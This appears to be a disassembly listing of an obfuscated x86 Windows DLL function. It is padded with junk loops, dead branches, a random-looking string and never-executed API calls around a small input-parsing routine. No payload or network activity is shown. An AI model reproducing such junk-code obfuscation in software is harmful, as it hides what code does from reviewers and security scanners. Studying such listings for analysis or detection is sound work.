mov dword [eax], 0x643cdf98
jmp 0x1002a02e
push 1
lea ecx, [ebp - 0x3a4]
call fcn.10001d4d
mov dword [eax], 3
jmp 0x1002a08a
push 1
lea ecx, [ebp - 0x3a4]
call fcn.10001d4d
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebp - 0x6c8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x6c8]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x3a4]
call fcn.10001d4d
cmp dword [eax], 0
jl 0x1002a35e
push 1
lea ecx, [ebp - 0x3a4]
call fcn.10001d4d
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xa70]
neg eax
push 0xfffffffffffffffd
pop ecx
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0x1c
jmp 0x1002a0d0
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xc
jl 0x1002a359
mov dword [ebp - 0x250], 0x247adf1a
mov dword [ebp - 0x7fc], 0xcb1a7a81
mov dword [ebp - 0x250], 5
jmp 0x1002a107
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0xfffffff8
je 0x1002a354
mov dword [ebp - 0x258], 0xe012d2c8
mov dword [ebp - 0x258], 3
jmp 0x1002a137
mov eax, dword [ebp - 0x258]
dec eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jl 0x1002a34f
mov dword [ebp - 0x260], 0xfffffff9
push 1
lea ecx, [ebp - 0x3a4]
call fcn.10001d4d
mov eax, dword [eax]
mov esi, dword [ebp + eax*4 - 0xa70]
push 1
lea ecx, [ebp - 0x3a4]
call fcn.10001d4d
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0xa70], esi
mov dword [ebp - 0x260], 0
jmp 0x1002a193
mov eax, dword [ebp - 0x260]
dec eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0xffffffe9
jg 0x1002a34a
mov dword [ebp - 0x104], 0xed40a165
mov dword [ebp - 0x6d0], 0xdbf
mov dword [ebp - 0x7f4], str.vre_wukqvjqs_submrlhc_eycbx_ypnuebcnw_gxajpggg_hfuwejh_poqfecmly
cmp dword [ebp - 0x6d0], 0x1162
jle 0x1002a277
and dword [ebp - 0x268], 0
jmp 0x1002a1e4
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x3f6d
jge 0x1002a277
and dword [ebp - 0x270], 0
jmp 0x1002a20a
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x3ff7
jge 0x1002a272
and dword [ebp - 0x278], 0
jmp 0x1002a22c
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x804b
jge 0x1002a270
mov eax, dword [ebp - 0x268]
imul eax, dword [ebp - 0x270]
add eax, dword [ebp - 0x278]
cdq
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], edx
push dword [ebp - 0x95c]
push dword [ebp - 0x960]
mov ecx, 0x10075958
call fcn.1000daa1
jmp 0x1002a21f
jmp 0x1002a1fd
jmp 0x1002a1d7
mov dword [ebp - 0x104], 0
jmp 0x1002a290
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 4
jge 0x1002a2ac
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0xa70], 1
jmp 0x1002a283
mov byte [ebp - 4], 0x46
cmp dword [ebp - 0x6d0], 0xa73
jge 0x1002a2cc
mov edx, dword [ebp - 0x7f4]
mov ecx, 0x10075958
call fcn.1001082c
jmp 0x1002a2e8
mov dword [ebp - 4], 0x45
jmp 0x1002a2f8
push 1
lea ecx, [ebp - 0x3a4]
call fcn.10001d4d
mov eax, dword [eax]
mov esi, dword [ebp + eax*4 - 0xa70]
push 1
lea ecx, [ebp - 0x3a4]
call fcn.10001d4d
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xa70], esi
jge 0x1002a332
mov dword [ebp - 0x6d8], 1
jmp 0x1002a339
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x7fc], eax
jmp 0x1002a186
jmp 0x1002a12a
jmp 0x1002a0fa
jmp 0x1002a0c9
jmp 0x1002a066
mov dword [ebp - 0x38], 3
jmp 0x1002a36e
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x1002a385
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0xa70], 0
je 0x1002a383
jmp 0x1002a385
jmp 0x1002a367
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3a4]
call fcn.10001d31
push dword [ebp - 0x804]
push dword [ebp - 0x80c]
call dword [0x1007d474]
mov dword [ebp - 0x83c], eax
mov dword [ebp - 0x18], 0x7a4a12b5
mov dword [ebp - 0x728], 0xeb4983ca
mov dword [ebp - 0x834], 0xa6603fa8
mov dword [ebp - 0x280], 0
jmp 0x1002a3e0
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 1
jge 0x1002a3f9
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0x70], 0x2799ac78
jmp 0x1002a3d3
mov dword [ebp - 0x18], 0
jmp 0x1002a409
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x1002a6c9
mov dword [ebp - 0x348], 0xfffffff6
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x70], 0
je 0x1002a43d
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x70], 0
je 0x1002a43d
mov dword [ebp - 0x6e0], 1
jmp 0x1002a444
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x70], 0xb101
je 0x1002a45d
mov dword [ebp - 0x814], 1
jmp 0x1002a464
and dword [ebp - 0x814], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x70]
mov dword [ebp - 0xd58], eax
xor eax, eax
imul eax, eax, 0x6f8b
mov ecx, dword [ebp - 0x18]
cmp dword [ebp + ecx*4 - 0x70], eax
jge 0x1002a491
mov dword [ebp - 0x6e8], 1
jmp 0x1002a498
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e0]
sub eax, dword [ebp - 0x6e8]
je 0x1002a699
mov dword [ebp - 0x824], 0xfffffffd
mov dword [ebp - 0x82c], 0
mov dword [ebp - 0x288], 0
jmp 0x1002a4d7
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 3
jge 0x1002a4f3
mov eax, dword [ebp - 0x288]
mov dword [ebp + eax*4 - 0xa4c], 7
jmp 0x1002a4ca
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x1002a50d
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4c]
mov dword [ebp - 0xd60], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xa4c]
mov dword [ebp - 0xd68], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa4c], 0
jne 0x1002a619
cmp dword [ebp - 0x18], 0xa88a
jne 0x1002a55b
mov dword [ebp - 0x340], 1
jmp 0x1002a562
and dword [ebp - 0x340], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x340]
mov dword [ebp + eax - 0xa4c], ecx
cmp dword [ebp - 0x340], 0xffffffff
je 0x1002a58a
mov dword [ebp - 0x6f0], 1
jmp 0x1002a591
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x3c3ae507
jg 0x1002a5af
cmp dword [ebp - 0x18], 0
je 0x1002a5af
mov dword [ebp - 0x81c], 1
jmp 0x1002a5b6
and dword [ebp - 0x81c], 0
cmp dword [ebp - 0x18], 0
jne 0x1002a5d4
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xa4c], 0
jne 0x1002a5d4
and dword [ebp - 0x6f8], 0
jmp 0x1002a5de
mov dword [ebp - 0x6f8], 1
mov eax, dword [ebp - 0x824]
cmp dword [ebp - 0x6f8], eax
jg 0x1002a5f8
mov dword [ebp - 0x700], 1
jmp 0x1002a5ff
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x348]
imul eax, dword [ebp - 0x700]
test eax, eax
jne 0x1002a619
and dword [ebp - 0x708], 0
jmp 0x1002a623
mov dword [ebp - 0x708], 1
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
jne 0x1002a646
or eax, 0xffffffff
jne 0x1002a646
and dword [ebp - 0x718], 0
jmp 0x1002a650
mov dword [ebp - 0x718], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x70]
mov dword [ebp - 0x710], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x710]
mov dword [ebp + eax*4 - 0x70], ecx
mov eax, dword [ebp - 0x710]
cmp eax, dword [ebp - 0x718]
jne 0x1002a684
mov dword [ebp - 0x720], 1
jmp 0x1002a68b
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x82c], eax
jmp 0x1002a6c4
mov byte [ebp - 0xa6], 0
movzx eax, byte [ebp - 0xa6]
test eax, eax
je 0x1002a6ba
push 0
push 0x15bb
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
mov dword [ebp - 0x728], 1
jmp 0x1002a402
cmp dword [ebp - 0x18], 0
jne 0x1002a6e4
cmp dword [ebp - 0x728], 0xb9abc19a
je 0x1002a6e4
and dword [ebp - 0x730], 0
jmp 0x1002a6ee
mov dword [ebp - 0x730], 1
cmp dword [ebp - 0x730], 0xfffffff6
jne 0x1002a70d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x70], 0
je 0x1002a70d
and dword [ebp - 0x738], 0
jmp 0x1002a717
mov dword [ebp - 0x738], 1
mov eax, dword [ebp - 0x834]
cmp dword [ebp - 0x738], eax
jg 0x1002a731
mov dword [ebp - 0x740], 1
jmp 0x1002a738
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x83c]
jmp 0x1002aa3a
mov dword [ebp - 0x844], 0x1733
cmp dword [ebp - 0x844], 0xee1
jge 0x1002a874
lea eax, [ebp - 0x350]
push eax
push 0x1006445c
call fcn.1004111b
pop ecx
pop ecx
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0x84c], eax
mov eax, dword [ebp - 0x350]
dec eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x84c], 0
je 0x1002a874
lea eax, [ebp - 0x748]
push eax
lea eax, [ebp - 0x750]
push eax
push str._ld__ld
call fcn.1004111b
add esp, 0xc
and dword [ebp - 0x360], 0
mov dword [ebp - 0x358], 1
jmp 0x1002a7da
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
mov eax, dword [ebp - 0x358]
cmp eax, dword [ebp - 0x750]
jge 0x1002a82e
lea eax, [ebp - 0x85c]
push eax
lea eax, [ebp - 0x854]
push eax
push str._ld__ld
call fcn.1004111b
add esp, 0xc
mov eax, dword [ebp - 0x854]
cmp eax, dword [ebp - 0x748]
je 0x1002a81f
mov eax, dword [ebp - 0x85c]
cmp eax, dword [ebp - 0x748]
jne 0x1002a82c
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
jmp 0x1002a7cd
cmp dword [ebp - 0x360], 1
jle 0x1002a859
mov eax, dword [ebp - 0x750]
and eax, 0x80000001
jns 0x1002a849
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1002a859
mov dword [ebp - 0x758], str.Ashish
jmp 0x1002a863
mov dword [ebp - 0x758], str.Ayush
push dword [ebp - 0x758]
call fcn.10041626
pop ecx
jmp 0x1002a779
mov dword [ebp - 0x10c], 0xffffffff
mov dword [ebp - 0xd70], 0xfffffffb
mov dword [ebp - 0xd78], 1
mov dword [ebp - 0xd50], 1
mov dword [ebp - 0xd4c], 1
mov dword [ebp - 0xd48], 1
mov dword [ebp - 0xd44], 1
mov dword [ebp - 0x760], 1
mov dword [ebp - 0x290], 0
jmp 0x1002a8dd
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 1
jge 0x1002a8f9
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0x368], 0x39b
jmp 0x1002a8d0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x368]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x368], eax
mov dword [ebp - 0x10c], 0
jmp 0x1002a92d
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jl 0x1002aa38
mov dword [ebp - 0xd54], 0xca9869ec
mov dword [ebp - 0xca0], 0xfd1f2e96
mov dword [ebp - 0xbf4], 0
push 2
lea ecx, [ebp - 0xb6c]
call fcn.10001cf5
mov dword [ebp - 4], 0x48
push 4
lea ecx, [ebp - 0xb54]
call fcn.10001cf5
mov byte [ebp - 4], 0x49
mov dword [ebp - 0x44], 0
jmp 0x1002a98d
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x1002a9a9
push dword [ebp - 0x44]
lea ecx, [ebp - 0xb6c]
call fcn.10001d4d
mov dword [eax], 0x2bfbd3ae
jmp 0x1002a986
mov dword [ebp - 0x44], 0
jmp 0x1002a9b9
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 4
jge 0x1002a9d5
push dword [ebp - 0x44]
lea ecx, [ebp - 0xb54]
call fcn.10001d4d
mov dword [eax], 0xfdbd0176
jmp 0x1002a9b2
mov eax, dword [ebp - 0x760]
inc eax
mov dword [ebp - 0x760], eax
mov eax, dword [ebp - 0x10c]
cmp dword [ebp + eax*4 - 0x368], 0
je 0x1002aa15
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0xb54]
call fcn.10001d31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb6c]
call fcn.10001d31
jmp 0x1002a920
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0xb54]
call fcn.10001d31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb6c]
call fcn.10001d31
jmp 0x1002a920
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret